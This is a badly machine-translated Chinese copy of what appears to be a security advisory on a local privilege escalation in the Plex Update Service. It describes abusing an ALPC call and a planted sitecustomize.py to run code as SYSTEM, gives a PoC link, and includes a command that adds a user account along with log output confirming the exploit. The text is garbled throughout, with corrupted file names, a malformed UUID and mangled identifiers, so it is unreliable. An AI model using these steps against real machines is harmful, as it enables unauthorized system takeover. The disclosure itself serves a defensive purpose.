Plex更新服务(“expressives.exe”)包含缺陷,允许本地攻击者使用系统特权执行任意Python代码服务揭开ALPC端口上的功能 本地非认证攻击者可引用
服务定义如下:
uuid(631c7d9c-1797-42f9e96-367a9ee58877版本/1.0长prec1(sring) wchar_t*arg_1长叉2+2}
具体地说, proc2将执行指定可执行性,如果它由Plex签名,即使它不合法更新文件PlexScriptHost.exe(ython解释器)碰巧由plex签名,如果文件Site定制.py位于当前工作目录中,当PlexScriptHost启动时将执行Python翻译者预期会发生此行为,并可能被滥用执行网站定制.py内含的任意代码
概念证明
https://github.com/tenable/poc/tree/master/plex/plex_media_server/tra_2020_25
运行 PoC并通知进程以系统启动您需要检查任务列表 。
启动 RpcClient.exe执行命令或默认执行Windows计算器下方将添加新用户
RpcClient.exe网络用户/添加scooby
lax更新服务.log日志显示成功开发
Mar 31, 2020 14:05:05.324 [4796] DEBUG - Install() from UpdateInterface: C:\Users\lowpriv\Documents\RpcClient\RpcClient\Release\PlexScriptHost.exe Mar 31, 2020 14:05:05.324 [4796] DEBUG - CheckBundle() from UpdateInterface: C:\Users\lowpriv\Documents\RpcClient\RpcClient\Release\PlexScriptHost.exe Mar 31, 2020 14:05:05.324 [4796] DEBUG - Checking Certificate of installer: C:\Users\lowpriv\Documents\RpcClient\RpcClient\Release\PlexScriptHost.exe Mar 31, 2020 14:05:05.324 [4796] DEBUG - Certificate integrity verified Mar 31, 2020 14:05:05.324 [4796] DEBUG - HTTP requesting GET https://plex.tv/api/pmscert/profile Mar 31, 2020 14:05:05.839 [4796] DEBUG - HTTP 200 response from GET https://plex.tv/api/pmscert/profile Mar 31, 2020 14:05:05.839 [4796] DEBUG - Certificate identity verified Mar 31, 2020 14:05:05.839 [4796] DEBUG - Create Process Success!等待进程完成3月31日 202014:05932[4796]DBUG-安装者退出码2-系统找不到指定的文件